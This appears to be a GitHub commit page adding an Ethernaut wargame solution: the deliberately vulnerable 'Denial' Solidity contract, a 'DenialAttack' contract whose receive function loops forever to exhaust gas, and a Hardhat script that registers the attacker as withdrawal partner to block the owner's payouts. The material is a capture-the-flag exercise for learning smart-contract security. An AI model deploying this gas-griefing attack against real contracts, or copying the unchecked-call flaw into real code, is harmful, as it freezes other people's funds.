-
Notifications
You must be signed in to change notification settings - Fork 10
Commit
This commit does not belong to any branch on this repository, and may belong to a fork outside of the repository.
- Loading branch information
Showing
4 changed files
with
76 additions
and
1 deletion.
There are no files selected for viewing
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,36 @@ | ||
// SPDX-License-Identifier: MIT | ||
pragma solidity ^0.6.0; | ||
|
||
import "@openzeppelin/contracts/math/SafeMath.sol"; | ||
|
||
contract Denial { | ||
using SafeMath for uint256; | ||
address public partner; // withdrawal partner - pay the gas, split the withdraw | ||
address payable public constant owner = address(0xA9E); | ||
uint256 timeLastWithdrawn; | ||
mapping(address => uint256) withdrawPartnerBalances; // keep track of partners balances | ||
|
||
function setWithdrawPartner(address _partner) public { | ||
partner = _partner; | ||
} | ||
|
||
// withdraw 1% to recipient and 1% to owner | ||
function withdraw() public { | ||
uint256 amountToSend = address(this).balance.div(100); | ||
// perform a call without checking return | ||
// The recipient can revert, the owner will still get their share | ||
partner.call.value(amountToSend)(""); | ||
owner.transfer(amountToSend); | ||
// keep track of last withdrawal time | ||
timeLastWithdrawn = now; | ||
withdrawPartnerBalances[partner] = withdrawPartnerBalances[partner].add(amountToSend); | ||
} | ||
|
||
// allow deposit of funds | ||
receive() external payable {} | ||
|
||
// convenience function | ||
function contractBalance() public view returns (uint256) { | ||
return address(this).balance; | ||
} | ||
} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,9 @@ | ||
// SPDX-License-Identifier: GPL-3.0 | ||
|
||
pragma solidity ^0.6.0; | ||
|
||
contract DenialAttack { | ||
receive() external payable { | ||
while (true) {} | ||
} | ||
} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,30 @@ | ||
import { Signer } from 'ethers' | ||
import { ethers } from 'hardhat' | ||
import { Denial } from '../typechain-types/Denial' | ||
import { DenialAttack } from '../typechain-types/DenialAttack' | ||
import { loadOrCreateLevelInstance, submitLevelInstance } from './ethernaut' | ||
import { loadOrDeployContract } from './helpers' | ||
|
||
const levelAddress = '0xf1D573178225513eDAA795bE9206f7E311EeDEc3' | ||
|
||
const main = async () => { | ||
const signer = (await ethers.getSigners())[0] as Signer | ||
|
||
const targetContract = (await loadOrCreateLevelInstance('Denial', levelAddress, signer, { | ||
value: ethers.utils.parseEther('0.001'), | ||
})) as Denial | ||
const attackContract = (await loadOrDeployContract('DenialAttack', [], signer)) as DenialAttack | ||
|
||
const tx = await targetContract.setWithdrawPartner(attackContract.address) | ||
console.log(`tx hash ${tx.hash}`) | ||
await tx.wait() | ||
|
||
await submitLevelInstance(targetContract.address, signer) | ||
} | ||
|
||
main() | ||
.then(() => process.exit()) | ||
.catch(e => { | ||
console.error(e) | ||
process.exit(1) | ||
}) |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters